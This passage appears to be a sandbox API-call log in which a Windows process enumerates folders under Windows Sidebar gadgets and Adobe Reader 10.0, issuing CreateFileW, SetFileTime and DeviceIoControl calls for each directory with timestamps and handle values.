CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.181] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.181] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.184] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.184] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.184] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.185] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.185] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.185] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.186] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.186] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.186] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.186] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.186] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.186] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.188] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.188] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.188] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.191] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.191] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.191] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.191] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.191] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.191] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.192] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.192] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.192] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.192] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.192] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.192] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.193] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.193] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.193] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.195] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.195] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.195] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.196] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.196] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.196] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.196] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.196] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.196] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.197] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.197] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.197] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.198] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.198] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.198] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.198] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.198] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.198] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.199] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.199] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.199] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.203] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.203] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.203] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.205] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.206] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.206] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.208] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.208] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.208] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.209] CreateFileW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0070.209] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0070.209] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0070.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0070.209] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.209] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0070.209] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.209] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0070.211] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.211] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.211] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.211] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.213] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.213] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.216] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.216] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.219] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.219] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.222] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.222] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.226] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.226] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.227] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.227] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.228] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.228] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.229] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.230] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.230] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.231] 